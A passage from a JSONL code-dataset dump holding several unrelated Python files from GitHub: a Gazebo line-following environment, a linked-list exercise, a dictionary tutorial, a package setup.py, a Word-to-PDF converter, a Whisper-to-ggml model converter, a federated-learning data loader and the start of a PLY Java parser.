timeout=5)\n except:\n pass\n\n rospy.wait_for_service('/gazebo/pause_physics')\n try:\n # resp_pause = pause.call()\n self.pause()\n except (rospy.ServiceException) as e:\n print (\"/gazebo/pause_physics service call failed\")\n\n state, done = self.process_image(data)\n\n # Set the rewards for your action\n if not done:\n if action == 0: # FORWARD\n reward = 4\n elif action == 1: # LEFT\n reward = 2\n else:\n reward = 2 # RIGHT\n else:\n reward = -200\n\n return state, reward, done, {}\n\n def reset(self):\n\n print(\"Episode history: {}\".format(self.episode_history))\n self.episode_history = []\n print(\"Resetting simulation...\")\n # Resets the state of the environment and returns an initial\n # observation.\n rospy.wait_for_service('/gazebo/reset_simulation')\n try:\n # reset_proxy.call()\n self.reset_proxy()\n except (rospy.ServiceException) as e:\n print (\"/gazebo/reset_simulation service call failed\")\n\n # Unpause simulation to make observation\n rospy.wait_for_service('/gazebo/unpause_physics')\n try:\n # resp_pause = pause.call()\n self.unpause()\n except (rospy.ServiceException) as e:\n print (\"/gazebo/unpause_physics service call failed\")\n\n # read image data\n data = None\n while data is None:\n try:\n data = rospy.wait_for_message('/pi_camera/image_raw',\n Image, timeout=5)\n except:\n pass\n\n rospy.wait_for_service('/gazebo/pause_physics')\n try:\n # resp_pause = pause.call()\n self.pause()\n except (rospy.ServiceException) as e:\n print (\"/gazebo/pause_physics service call failed\")\n\n self.timeout = 0\n state, done = self.process_image(data)\n\n return state\n","repo_name":"etwal/ENPH353_Lab7","sub_path":"gym_gazebo/envs/gazebo_linefollow/gazebo_env_linefollow.py","file_name":"gazebo_env_linefollow.py","file_ext":"py","file_size_in_byte":7185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13679420962","text":"#!/usr/bin/python3\n\n\"\"\"\nclass Node defines a node of a singly linked list\nprivate intsance : data\n * property getter: data\n * property setter: data\n data is integer\nprivate instance: next_node\n * property getter: next_node\n * property setter: next_node\n next_node = None or Node\n next_node is error\n\n\"\"\"\n\n\nclass Node:\n \"\"\"\n class Node will have only two private instances\n \"\"\"\n\n def __init__(self, data, next_node=None):\n self.__data = data\n self.__next_node = next_node\n\n @property\n def data(self):\n return self.__data\n\n @data.setter\n def data(self, value):\n if type(value) != int:\n raise TypeError(\"data must be an integer\")\n self.__data = value\n\n @property\n def next_node(self):\n return self.__next_node\n\n @next_node.setter\n def next_node(self, value):\n if not (value is None or type(value) is Node):\n raise TypeError(\"next_node must be a Node object\")\n self.__next_node = value\n\n\n\"\"\"\nclass SinglyLinkedList defines a singly linked list\nprivate instance: head\n * no setter or getter needed\nprints entire list one node by line\n\npublic instance method: sorted_insert\n * Inserts new Node\n\n\"\"\"\n\n\nclass SinglyLinkedList:\n \"\"\"Singly linked list \"\"\"\n\n def __init__(self):\n self.__head = None\n\n def __repr__(self):\n temp = self.__head\n total = \"\"\n while temp:\n total += \"{:d}\".format(temp.data)\n temp = temp.next_node\n if temp:\n total += \"\\n\"\n return total\n\n def sorted_insert(self, value):\n if self.__head is None:\n self.__head = Node(value)\n else:\n curr = self.__head\n prev = None\n while curr and value > curr.data:\n prev = curr\n curr = curr.next_node\n if curr is None:\n prev.next_node = Node(value)\n elif curr is self.__head and prev is None:\n self.__head = Node(value, curr)\n else:\n newest_node = Node(value, curr)\n prev.next_node = newest_node\n","repo_name":"LionMara/alx-higher_level_programming","sub_path":"0x06-python-classes/100-singly_linked_list.py","file_name":"100-singly_linked_list.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71887215255","text":"#辞書の文法復習 他の言語では連想配列、ハッシュ、ハッシュマップなどと呼ばれている ミュータブル\nempty_dict = {}\nprint(empty_dict)\n\nbierce = {\n \"day\": \"A period of twenty-four hours, mostly misspent\",\n \"positive\": \"Mistaken at the top of one's voice\",\n \"misfortune\": \"The kind of fortune that never misses\",\n }#pythonではリスト、タプル、辞書の最後の要素の後ろにカンマを残しておいていい、また、インデントも見やすいだけで実際には不要\nprint(bierce)\n\n#dict()を使った変換\nlol = [['a', 'b'], ['c', 'd'], ['e', 'f']]#list of list\nprint(dict(lol))\n\nlot = [('a', 'b'), ('c', 'd'), ('e', 'f')] #list of tuple\nprint(dict(lot))\n\ntol = (['a', 'b'], ['c', 'd'], ['e', 'f'])#tuple of list\nprint(dict(tol))\n\nlos = [ 'ab', 'cd', 'ef'] # list of string\nprint(dict(los))\n\ntos = ('ab', 'cd', 'ef')#tuple of string\nprint(dict(tos))\n\n\n#keyによる要素の追加、変更\n\npythons = {\n 'Chapman': 'Graham',\n 'Cleese': 'John',\n 'Idle': 'Eric',\n 'Jones': 'Terry',\n 'Palin': 'Michael',\n }\nprint(pythons)\n\npythons['Gilliam'] = 'Gerry'\nprint(pythons)\n\npythons['Glliam'] = 'Terry'#同じキーを使って値を置き換えている\nprint(pythons)\n\n#update()による辞書の結合\npythons = {\n 'Chapman': 'Graham',\n 'Cleese': 'John',\n 'Gilliam': 'Terry',\n 'Idle': 'Eric',\n 'Jones': 'Terry',\n 'Palin': 'Michael',\n }\nprint(pythons)\n\nothers = {'Marx': 'Groucho', 'Howard': 'Moe'}\npythons.update(others)#辞書のキーと値を別の辞書にコピーできる\nprint(pythons)\n\nfirst = {'a':1, 'b':2}\nsecond = {'b': 'platypus'}\nfirst.update(second)#キーが重複している場合第二の辞書の値が残る\nprint(first)\n\ndel pythons['Marx']#指定したキーを持つ要素の削除\ndel pythons['Howard']\nprint(pythons)\n\n\npythons.clear()#clear()による全ての要素の削除\npythons = {} #こっちでもいい\nprint(pythons)\n\n\npythons = {\n 'Chapman': 'Graham',\n 'Cleese': 'John',\n 'Gilliam': 'Terry',\n 'Idle': 'Eric',\n 'Jones': 'Terry',\n 'Palin': 'Michael',\n }\n\nprint('Chapman' in pythons)#キーがあるかどうか\n\n\nprint(pythons['Cleese'])\nprint(pythons.get('Cleese'))# キーがあればその値が返される。\nprint(pythons.get('Marx', 'Not a Python'))#キーがなければオプションが返される\nprint(pythons.get('Marx'))#オプションがなければNoneが返される。\n\n\n#keys()による全てのキーの取得\nsignals = {\n 'green': 'go',\n 'yellow': 'go faster',\n 'red': 'smile for the camera',\n }\nprint(signals.keys())\n\nprint(list(signals.keys()))#dict_keyオブジェクトをリストに変換するためにはlist()を呼び出す\n\n#values()による全ての値の取得\nprint(signals.values())\nprint(list(signals.values()))\n\n#items()による全てのキー/値ペアの取得\nprint(signals.items())\nprint(list(signals.items()))\n\n#リストの場合と同様に辞書に変更を加えると、その辞書を参照している全ての名前に影響が及ぶので別の辞書にコピーしたい場合はcopy()を使う\n\noriginal_signals = signals.copy()\nsignals['blue'] = 'confuse everyone'\nprint(signals)\nprint(original_signals)\n","repo_name":"IsHYuhi/Introduction_of_Python3","sub_path":"chapter3/dictionary_test.py","file_name":"dictionary_test.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"30928653217","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport inspect\nimport os\nimport sys\n\nfrom setuptools import find_packages, setup\nfrom setuptools.command.test import test as TestCommand\n\n__location__ = os.path.join(os.getcwd(), os.path.dirname(inspect.getfile(inspect.currentframe())))\n\n\ndef read_version(package):\n with open(os.path.join(package, '__init__.py'), 'r') as fd:\n for line in fd:\n if line.startswith('__version__ = '):\n return line.split()[-1].strip().strip(\"'\").strip('\"')\n\n\nversion = read_version('swagger_ui_bundle')\n\ninstall_requires = [\n 'Jinja2>=2.0',\n]\n\n\ndef readme():\n try:\n return open('README.rst', encoding='utf-8').read()\n except TypeError:\n return open('README.rst').read()\n\n\nclass PyTest(TestCommand):\n\n \"\"\"Command to run unit tests after in-place build.\"\"\"\n\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = [\n '-sv',\n '--pep8',\n '--flake8',\n ]\n self.test_suite = True\n\n def run_tests(self):\n # Importing here, `cause outside the eggs aren't loaded.\n import pytest\n errno = pytest.main(self.test_args)\n sys.exit(errno)\n\n\nsetup(\n name='swagger_ui_bundle',\n packages=find_packages(),\n version=version,\n description='swagger_ui_bundle - swagger-ui files in a pip package',\n long_description=readme(),\n author='Daniel Grossmann-Kavanagh',\n url='https://github.com/dtkav/swagger_ui_bundle',\n keywords='swagger-ui',\n license='Apache License Version 2.0',\n setup_requires=['pytest-runner', 'flake8'],\n install_requires=install_requires,\n tests_require=[\n \"pytest\",\n \"pytest-pep8\",\n \"pytest-flake8\",\n \"tox\",\n ],\n classifiers=[\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'Operating System :: OS Independent',\n ],\n include_package_data=True, # needed to include swagger-ui (see MANIFEST.in)\n)\n","repo_name":"dtkav/swagger_ui_bundle","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"67"} +{"seq_id":"71602333015","text":"# 将文件夹路径改成实际文件位置\n# 把这个python文件放到里面运行\n#\nfrom win32com.client import Dispatch\nfrom os import walk\n\nwdFormatPDF = 17\n\n\ndef doc2pdf(input_file):\n word = Dispatch('Word.Application') # WPS改为Kwps.Application\n doc = word.Documents.Open(input_file)\n doc.SaveAs(input_file.replace(\".doc\", \".pdf\"), FileFormat=wdFormatPDF)\n doc.Close()\n word.Quit()\n\n\nif __name__ == \"__main__\":\n doc_files = []\n directory = \"D:\\\\BaiduNetdiskDownload\" #改成实际文件位置\n for root, dirs, filenames in walk(directory):\n for file in filenames:\n if file.endswith(\".doc\") or file.endswith(\".docx\"):\n doc2pdf(str(root + \"\\\\\" + file))\n\n","repo_name":"IammyselfYBX/python_auto_script","sub_path":"Office/Word/word2pdf.py","file_name":"word2pdf.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16250851136","text":"import argparse\nimport functools\nimport json\nimport os\nimport struct\n\nimport numpy as np\nimport torch\nfrom transformers import WhisperForConditionalGeneration\n\nfrom utils.utils import add_arguments, print_arguments\n\nparser = argparse.ArgumentParser(description=__doc__)\nadd_arg = functools.partial(add_arguments, argparser=parser)\nadd_arg(\"model_dir\", type=str, default=\"models/whisper-tiny-finetune\", help=\"需要转换的模型路径\")\nadd_arg(\"whisper_dir\", type=str, default=\"whisper/\", help=\"whisper项目的路径\")\nadd_arg(\"output_path\", type=str, default=\"models/ggml-model.bin\", help=\"转换保存模型的路径\")\nadd_arg(\"use_f16\", type=bool, default=True, help=\"是否量化为半精度\")\nargs = parser.parse_args()\nprint_arguments(args)\n\nconv_map = {\n 'self_attn.k_proj': 'attn.key',\n 'self_attn.q_proj': 'attn.query',\n 'self_attn.v_proj': 'attn.value',\n 'self_attn.out_proj': 'attn.out',\n 'self_attn_layer_norm': 'attn_ln',\n 'encoder_attn.q_proj': 'cross_attn.query',\n 'encoder_attn.v_proj': 'cross_attn.value',\n 'encoder_attn.out_proj': 'cross_attn.out',\n 'encoder_attn_layer_norm': 'cross_attn_ln',\n 'fc1': 'mlp.0',\n 'fc2': 'mlp.2',\n 'final_layer_norm': 'mlp_ln',\n 'encoder.layer_norm.bias': 'encoder.ln_post.bias',\n 'encoder.layer_norm.weight': 'encoder.ln_post.weight',\n 'encoder.embed_positions.weight': 'encoder.positional_embedding',\n 'decoder.layer_norm.bias': 'decoder.ln.bias',\n 'decoder.layer_norm.weight': 'decoder.ln.weight',\n 'decoder.embed_positions.weight': 'decoder.positional_embedding',\n 'decoder.embed_tokens.weight': 'decoder.token_embedding.weight',\n 'proj_out.weight': 'decoder.proj.weight',\n}\n\n\ndef bytes_to_unicode():\n bs = list(range(ord(\"!\"), ord(\"~\") + 1)) + list(range(ord(\"¡\"), ord(\"¬\") + 1)) + list(range(ord(\"®\"), ord(\"ÿ\") + 1))\n cs = bs[:]\n n = 0\n for b in range(2 ** 8):\n if b not in bs:\n bs.append(b)\n cs.append(2 ** 8 + n)\n n += 1\n cs = [chr(n) for n in cs]\n return dict(zip(bs, cs))\n\n\nencoder = json.load(open(f\"{args.model_dir}/vocab.json\", \"r\", encoding=\"utf8\"))\nencoder_added = json.load(open(f\"{args.model_dir}/added_tokens.json\", \"r\", encoding=\"utf8\"))\nhparams = json.load(open(f\"{args.model_dir}/config.json\", \"r\", encoding=\"utf8\"))\n\nmodel = WhisperForConditionalGeneration.from_pretrained(args.model_dir)\n\nn_mels = hparams[\"num_mel_bins\"]\nwith np.load(f\"{args.whisper_dir}/whisper/assets/mel_filters.npz\") as f:\n filters = torch.from_numpy(f[f\"mel_{n_mels}\"])\n\ntokens = json.load(open(f\"{args.model_dir}/vocab.json\", \"r\", encoding=\"utf8\"))\n\nos.makedirs(os.path.dirname(args.output_path), exist_ok=True)\nfout = open(args.output_path, \"wb\")\n\nfout.write(struct.pack(\"i\", 0x67676d6c)) # magic: ggml in hex\nfout.write(struct.pack(\"i\", hparams[\"vocab_size\"]))\nfout.write(struct.pack(\"i\", hparams[\"max_source_positions\"]))\nfout.write(struct.pack(\"i\", hparams[\"d_model\"]))\nfout.write(struct.pack(\"i\", hparams[\"encoder_attention_heads\"]))\nfout.write(struct.pack(\"i\", hparams[\"encoder_layers\"]))\nfout.write(struct.pack(\"i\", hparams[\"max_length\"]))\nfout.write(struct.pack(\"i\", hparams[\"d_model\"]))\nfout.write(struct.pack(\"i\", hparams[\"decoder_attention_heads\"]))\nfout.write(struct.pack(\"i\", hparams[\"decoder_layers\"]))\nfout.write(struct.pack(\"i\", hparams[\"num_mel_bins\"]))\nfout.write(struct.pack(\"i\", args.use_f16))\n\nfout.write(struct.pack(\"i\", filters.shape[0]))\nfout.write(struct.pack(\"i\", filters.shape[1]))\nfor i in range(filters.shape[0]):\n for j in range(filters.shape[1]):\n fout.write(struct.pack(\"f\", filters[i][j]))\n\nbyte_encoder = bytes_to_unicode()\nbyte_decoder = {v: k for k, v in byte_encoder.items()}\n\nfout.write(struct.pack(\"i\", len(tokens)))\n\ntokens = sorted(tokens.items(), key=lambda x: x[1])\nfor key in tokens:\n text = bytearray([byte_decoder[c] for c in key[0]])\n fout.write(struct.pack(\"i\", len(text)))\n fout.write(text)\n\nlist_vars = model.state_dict()\nfor name in list_vars.keys():\n # this seems to not be used\n if name == \"proj_out.weight\":\n print('Skipping', name)\n continue\n\n src = name\n\n nn = name\n if name != \"proj_out.weight\":\n nn = nn.split(\".\")[1:]\n else:\n nn = nn.split(\".\")\n\n if nn[1] == \"layers\":\n nn[1] = \"blocks\"\n if \".\".join(nn[3:-1]) == \"encoder_attn.k_proj\":\n mapped = \"attn.key\" if nn[0] == \"encoder\" else \"cross_attn.key\"\n else:\n mapped = conv_map[\".\".join(nn[3:-1])]\n name = \".\".join(nn[:3] + [mapped] + nn[-1:])\n else:\n name = \".\".join(nn)\n name = conv_map[name] if name in conv_map else name\n\n print(src, ' -> ', name)\n data = list_vars[src].squeeze().numpy()\n data = data.astype(np.float16)\n\n # reshape conv bias from [n] to [n, 1]\n if name in [\"encoder.conv1.bias\", \"encoder.conv2.bias\"]:\n data = data.reshape(data.shape[0], 1)\n print(\" Reshaped variable: \", name, \" to shape: \", data.shape)\n\n n_dims = len(data.shape)\n print(name, n_dims, data.shape)\n\n # looks like the whisper models are in f16 by default\n # so we need to convert the small tensors to f32 until we fully support f16 in ggml\n # ftype == 0 -> float32, ftype == 1 -> float16\n ftype = 1\n if args.use_f16:\n if n_dims < 2 or \\\n name == \"encoder.conv1.bias\" or \\\n name == \"encoder.conv2.bias\" or \\\n name == \"encoder.positional_embedding\" or \\\n name == \"decoder.positional_embedding\":\n print(\" Converting to float32\")\n data = data.astype(np.float32)\n ftype = 0\n else:\n data = data.astype(np.float32)\n ftype = 0\n\n # header\n str_ = name.encode('utf-8')\n fout.write(struct.pack(\"iii\", n_dims, len(str_), ftype))\n for i in range(n_dims):\n fout.write(struct.pack(\"i\", data.shape[n_dims - 1 - i]))\n fout.write(str_)\n\n # data\n data.tofile(fout)\n\nfout.close()\n\nprint(f\"导出模型: {args.output_path}\")\n","repo_name":"yeyupiaoling/Whisper-Finetune","sub_path":"convert-ggml.py","file_name":"convert-ggml.py","file_ext":"py","file_size_in_byte":6048,"program_lang":"python","lang":"en","doc_type":"code","stars":406,"dataset":"github-code","pt":"67"} +{"seq_id":"26411885049","text":"import pandas as pd \t\t\t\t\t\t #to read the file out from exce\nimport torch as T\t \t\t\t\t\t\t # to make tensors\nfrom torch.utils.data import Dataset \t\t\t\t\t#to upload Data set\nfrom sklearn.preprocessing import StandardScaler \t\t#for scaling values while reading file\nimport torch.nn as nn \t\t\t\t\t\t\t #for implementing basic neural network\nimport torch.nn.functional as F\nimport torch.optim as optim \t\t\t\t\t\t #for optimizer\nfrom torchvision import datasets, transforms \t\t\t#for torchvision import dataset and transform\nfrom torch.utils.data import DataLoader, Dataset \t#for Dataloader and dataset upload\nimport numpy as np\nimport seaborn as sns #fundemetal package for scientific computing on python\n\n\ndf = pd.read_csv('data_usage_train_several_server.csv')\n#Reading files from actual Dataset\nclass Res_all(T.utils.data.Dataset):\n def __init__(self, src_file):\n all_xy = src_file\n\n tmp_x = all_xy.iloc[:10000, 1:8].values # all rows, cols [0,6)\n tmp_y = all_xy.iloc[:10000, 8].values # 1-D required\n\n self.x_data = \\\n T.tensor(tmp_x, dtype=T.float32)\n self.y_data = \\\n T.tensor(tmp_y, dtype=T.int64)\n\n def __len__(self):\n return len(self.x_data)\n\n def __getitem__(self, idx):\n preds = self.x_data[idx]\n trgts = self.y_data[idx]\n sample = {\n 'predictors': preds,\n 'targets': trgts\n }\n return sample\nclass TEST_all(T.utils.data.Dataset):\n def __init__(self, src_file):\n all_xy = src_file\n\n tmp_x = all_xy.iloc[10001:10500, 1:8].values # all rows, cols [0,6)\n tmp_y = all_xy.iloc[10001:10500, 8].values # 1-D required\n\n self.x_data = \\\n T.tensor(tmp_x, dtype=T.float32)\n self.y_data = \\\n T.tensor(tmp_y, dtype=T.int64)\n\n def __len__(self):\n return len(self.x_data)\n\n def __getitem__(self, idx):\n preds = self.x_data[idx]\n trgts = self.y_data[idx]\n sample = {\n 'predictors': preds,\n 'targets': trgts\n }\n return sample\n\nds = TEST_all(df)\ntrain_ds = Res_all(df)\n\n#creating arguements\nclass Arguments():\n def __init__(self):\n self.dataset_count = 400 \t\t\t\t\t#no. of Data sample\n self.clients = 4 \t\t\t\t\t#no of clients, we need\n self.rounds = 10\t\t\t\t\t\t#no.of rounds\n self.epochs = 2\n self.local_batches = 10\n self.lr = 0.01\n self.C = 0.9\n self.drop_rate = 0.1\n self.torch_seed = 0\n self.log_interval = 2\n self.iid = 'iid'\n self.split_size = int(self.dataset_count / self.clients)\nargs = Arguments() \n\n#making function to divide data equally among Clients\n\n\nZ_X_Y_train_features = T.utils.data.DataLoader(train_ds,batch_size=args.local_batches, shuffle=False)\n\n\ndef rsc_alloc_IID(x_features, clients):\n rsc_alloc_p_clients = int(len(Z_X_Y_train_features)/ clients)\n users_dict, indeces = {}, [i for i in range(len(Z_X_Y_train_features))]\n for i in range(clients):\n np.random.seed(i)\n users_dict[i] = set(np.random.choice(indeces, rsc_alloc_p_clients, replace=False))\n indeces = list(set(indeces) - users_dict[i])\n return users_dict\n\n\nfor x in Z_X_Y_train_features:\n print(x)\ndef bunch(inde,num_of_images):\n sam = inde / num_of_images\n return sam","repo_name":"asad889/MasterArbeit_project","sub_path":"data_reading.py","file_name":"data_reading.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20350376166","text":"#JAVA_PARSER_Complier_Project\n\nimport yacc\nimport sys, os\nfrom lexer import lexer,tokens,keywords\n\nstart_counter = 0\nModifier_counter = 0\nModifierList_counter = 0\nMultModifier_counter = 0\nIdentifier_counter = 0\nLiteral_counter = 0\nType_counter = 0\nPrimitiveType_counter = 0\nNumericType_counter = 0\nIntegralType_counter = 0\nFloatingPointType_counter = 0\nReferenceType_counter = 0\nClassOrInterfaceType_counter = 0\nClassType_counter = 0\nMultAnnotation_counter = 0\nArrayType_counter = 0\nDims_counter = 0\nTypeParameter_counter = 0\nTypeBound_counter = 0\nMultAdditionalBound_counter = 0\nAdditionalBound_counter = 0\nTypeArguments_counter = 0\nTypeArgumentList_counter = 0\nTypeArgument_counter = 0\nWildcard_counter = 0\nWildcardBounds_counter = 0\nTypeName_counter = 0\nCompilationUnit_counter = 0\nMultImportDeclaration_counter = 0\nMultTypeDeclaration_counter = 0\nPackageDeclaration_counter = 0\nImportDeclaration_counter = 0\nSingleTypeImportDeclaration_counter = 0\nTypeImportOnDemandDeclaration_counter = 0\nSingleStaticImportDeclaration_counter = 0\nStaticImportOnDemandDeclaration_counter = 0\nTypeDeclaration_counter = 0\nClassDeclaration_counter = 0\nNormalClassDeclaration_counter = 0\nTypeParameters_counter = 0\nCommaSeparatedIdentifiers_counter = 0\nTypeParameterList_counter = 0\nSuperclass_counter = 0\nSuperinterfaces_counter = 0\nInterfaceTypeList_counter = 0\nClassBody_counter = 0\nMultClassBodyDeclaration_counter = 0\nClassBodyDeclaration_counter = 0\nClassMemberDeclaration_counter = 0\nFieldDeclaration_counter = 0\nVariableDeclaratorList_counter = 0\nVariableDeclarator_counter = 0\nVariableDeclaratorId_counter = 0\nVariableInitializer_counter = 0\nMethodDeclaration_counter = 0\nMethodHeader_counter = 0\nResult_counter = 0\nMethodDeclarator_counter = 0\nFormalParameterList_counter = 0\nFormalParameters_counter = 0\nFormalParameter1_counter = 0\nFormalParameter2_counter = 0\nFormalParameter_counter = 0\nLastFormalParameter_counter = 0\nReceiverParameter_counter = 0\nThrows_counter = 0\nExceptionTypeList_counter = 0\nExceptionType_counter = 0\nMethodBody_counter = 0\nInstanceInitializer_counter = 0\nStaticInitializer_counter = 0\nConstructorDeclaration_counter = 0\nConstructorBody_counter = 0\nExplicitConstructorInvocation_counter = 0\nEnumDeclaration_counter = 0\nEnumBody_counter = 0\nEnumConstantList_counter = 0\nEnumConstant_counter = 0\nMultEnumConstantModifier_counter = 0\nEnumConstantModifier_counter = 0\nEnumBodyDeclarations_counter = 0\nInterfaceDeclaration_counter = 0\nNormalInterfaceDeclaration_counter = 0\nExtendsInterfaces_counter = 0\nInterfaceBody_counter = 0\nInterfaceMemberDeclaration_counter = 0\nMultInterfaceMemberDeclaration_counter = 0\nConstantDeclaration_counter = 0\nInterfaceMethodDeclaration_counter = 0\nAnnotationTypeDeclaration_counter = 0\nAnnotationTypeBody_counter = 0\nMultAnnotationTypeMemberDeclaration_counter = 0\nAnnotationTypeMemberDeclaration_counter = 0\nAnnotationTypeElementDeclaration_counter = 0\nMultAnnotationTypeElementModifier_counter = 0\nDefaultValue_counter = 0\nAnnotation_counter = 0\nNormalAnnotation_counter = 0\nElementValuePairList_counter = 0\nElementValuePair_counter = 0\nElementValue_counter = 0\nElementValueArrayInitializer_counter = 0\nElementValueList_counter = 0\nMarkerAnnotation_counter = 0\nSingleElementAnnotation_counter = 0\nArrayInitializer_counter = 0\nVariableInitializerList_counter = 0\nBlock_counter = 0\nBlockStatements_counter = 0\nMultBlockStatement_counter = 0\nBlockStatement_counter = 0\nLocalVariableDeclarationStatement_counter = 0\nLocalVariableDeclaration_counter = 0\nStatement_counter = 0\nStatementNoShortIf_counter = 0\nStatementWithoutTrailingSubstatement_counter = 0\nEmptyStatement_counter = 0\nLabeledStatement_counter = 0\nLabeledStatementNoShortIf_counter = 0\nExpressionStatement_counter = 0\nStatementExpression_counter = 0\nIfThenStatement_counter = 0\nIfThenElseStatement_counter = 0\nIfThenElseStatementNoShortIf_counter = 0\nAssertStatement_counter = 0\nSwitchStatement_counter = 0\nSwitchBlock_counter = 0\nMultSwitchBlockStatementGroup_counter = 0\nSwitchBlockStatementGroup_counter = 0\nMultSwitchLabel_counter = 0\nSwitchLabel_counter = 0\nWhileStatement_counter = 0\nWhileStatementNoShortIf_counter = 0\nDoStatement_counter = 0\nForStatement_counter = 0\nForStatementNoShortIf_counter = 0\nBasicForStatement_counter = 0\nBasicForStatementNoShortIf_counter = 0\nForInit_counter = 0\nForUpdate_counter = 0\nStatementExpressionList_counter = 0\nEnhancedForStatement_counter = 0\nEnhancedForStatementNoShortIf_counter = 0\nBreakStatement_counter = 0\nContinueStatement_counter = 0\nReturnStatement_counter = 0\nThrowStatement_counter = 0\nSynchronizedStatement_counter = 0\nTryStatement_counter = 0\nCatches_counter = 0\nMultCatchClause_counter = 0\nCatchClause_counter = 0\nCatchFormalParameter_counter = 0\nCatchType_counter = 0\nFinally_counter = 0\nTryWithResourcesStatement_counter = 0\nResourceSpecification_counter = 0\nResourceList_counter = 0\nResource_counter = 0\nPrimary_counter = 0\nPrimaryNoNewArray_counter = 0\nClassLiteral_counter = 0\nClassInstanceCreationExpression_counter = 0\nUnqualifiedClassInstanceCreationExpression_counter = 0\nClassOrInterfaceTypeToInstantiate_counter = 0\nClassOrInterfaceTypeToInstantiate1_counter = 0\nFieldAccess_counter = 0\nArrayAccess_counter = 0\nMethodInvocation_counter = 0\nArgumentList_counter = 0\nMethodReference_counter = 0\nArrayCreationExpression_counter = 0\nDimExprs_counter = 0\nDimExpr_counter = 0\nExpression_counter = 0\nLambdaExpression_counter = 0\nAssignment_counter = 0\nLeftHandSide_counter = 0\nAssignmentOperator_counter = 0\nConditionalExpression_counter = 0\nConditionalOrExpression_counter = 0\nConditionalAndExpression_counter = 0\nInclusiveOrExpression_counter = 0\nExclusiveOrExpression_counter = 0\nAndExpression_counter = 0\nEqualityExpression_counter = 0\nRelationalExpression_counter = 0\nShiftExpression_counter = 0\nAdditiveExpression_counter = 0\nMultiplicativeExpression_counter = 0\nUnaryExpression_counter = 0\nUnaryExpressionNotPlusMinus_counter = 0\nPostIncrementExpression_counter = 0\nPostDecrementExpression_counter = 0\nCastExpression_counter = 0\nBrackets_counter = 0\n\n################################################################################\n\ndef p_start(p):\n '''start : CompilationUnit '''\n global start_counter\n p[0] = \"start_{%d}\" % (start_counter)\n start_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_Modifier(p):\n ''' Modifier : PUBLIC\n | PROTECTED\n | PRIVATE\n | ABSTRACT\n | STATIC\n | FINAL\n | STRICTFP\n | TRANSIENT\n | VOLATILE\n | SYNCHRONIZED\n | NATIVE\n | DEFAULT'''\n global Modifier_counter\n p[0] = \"Modifier_{%d}\" % (Modifier_counter)\n Modifier_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ModifierList(p):\n ''' ModifierList : MultModifier\n | MultAnnotation MultModifier\n | MultAnnotation\n '''\n global ModifierList_counter\n p[0] = \"ModifierList_{%d}\" % (ModifierList_counter)\n ModifierList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_MultModifier(p):\n ''' MultModifier : Modifier MultModifier\n | Modifier '''\n global MultModifier_counter\n p[0] = \"MultModifier_{%d}\" % (MultModifier_counter)\n MultModifier_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n# TODO: Support FOR unicode needs to be added\ndef p_Identifier(p):\n '''Identifier : IDENTIFIER'''\n\n global Identifier_counter\n p[0] = \"Identifier_%d\" % (Identifier_counter)\n Identifier_counter+=1\n\n if (p[1].lower() not in keywords.keys()):\n f.write('\"%s\" -> \"%s [IDENTIFIER]\"\\n' % (p[0], p[1]))\n else:\n f.write('\"%s\" -> \"%s [KEYWORD]\"\\n' % (p[0], p[1]))\n\ndef p_Literal(p):\n '''Literal : DECIMALINT\n | DECIMALFLOATINGLIT\n | HEXINT\n | HEXFLOATINGLIT\n | OCTALINT\n | BOOLEANLIT\n | CHARLIT\n | STRINGLIT\n | NULLLIT\n | BINARYINT'''\n\n global Literal_counter\n p[0] = \"Literal_{%d}\" % (Literal_counter)\n # print(p.slice)\n Literal_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n print()\n if (p.slice[1].type != 'STRINGLIT'):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], str(p[i]), p.slice[1].type))\n else:\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i][1:-1], p.slice[1].type))\n\n################################################################################\n\ndef p_Type(p):\n '''Type : PrimitiveType\n | ReferenceType'''\n\n global Type_counter\n p[0] = \"Type_{%d}\" % (Type_counter)\n Type_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], 